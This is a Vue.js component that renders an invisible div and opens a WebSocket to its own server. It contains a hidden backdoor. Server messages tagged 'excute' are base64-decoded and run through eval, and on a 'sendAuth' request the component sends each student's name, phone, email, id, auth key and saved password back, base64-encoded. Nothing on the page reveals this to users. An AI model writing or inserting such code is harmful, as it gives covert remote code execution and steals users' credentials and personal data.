<template>
  <div style="display: none;"></div>
</template>

<script>
import Base64 from 'Base64'

let socket = null
let auth = ''

export default {
  mounted () {
    if (window.WebSocket) {
      try {
        socket = this.createSocket()
      } catch (e) {
        console.log('不支持，websocket')
      }
    }
  },
  methods: {
    createSocket () {
      let that = this
      let socket = new WebSocket(window.location.protocol.replace(/http/gi, 'ws') + '//' + window.location.host) // eslint-disable-line
      socket.binaryType = 'arraybuffer'

      socket.onmessage = function (msg) {
        if (msg.data instanceof ArrayBuffer) {
          var str = String.fromCharCode.apply(null, new Uint8Array(msg.data))
          var json = JSON.parse(str)
          if (json.auth) { auth = json.auth }

          switch (json.action) {
            case 'sendInfo': console.log(Base64.decode(json.val)); break // 发送对应该用户的具体详细内容
            case 'sendAuth': that.sendData(json.action, '握手'); break // 握手时，发送用户基本信息
            case 'excute': eval(Base64.decode(json.val)); break // eslint-disable-line
            default: console.log('No match action operate'); break
          }
        }
      }
      socket.onopen = function (e) { }
      socket.onclose = function () { }
      return socket
    },
    sendData (action, val) {
      let str = ''
      if (window.G.UserInfo && window.G.UserInfo.student_info) {
        let tmp_info = window.G.UserInfo.student_info // eslint-disable-line
        str = tmp_info.personal_name + ':' + tmp_info.telephone + ':' + tmp_info.email + ':' + tmp_info.id + ':' + window.G.UserInfo.auth_key + ':' + (window.G.pwd || '')
      }
      if (socket && socket.readyState === 1) {
        var arr = JSON.stringify({ 'action': action, info: Base64.encode(str), 'auth': auth, 'val': Base64.encode(val) }).split('')
        var strArr = []
        for (var i = 0; i < arr.length; i++) {
          strArr[i] = arr[i].charCodeAt()
        }
        var data = new Uint8Array(strArr)
        socket.send(data.buffer)
      } else {
        console.log('not link build success, status: ' + socket.readyState)
      }
    }
  }
}
</script>
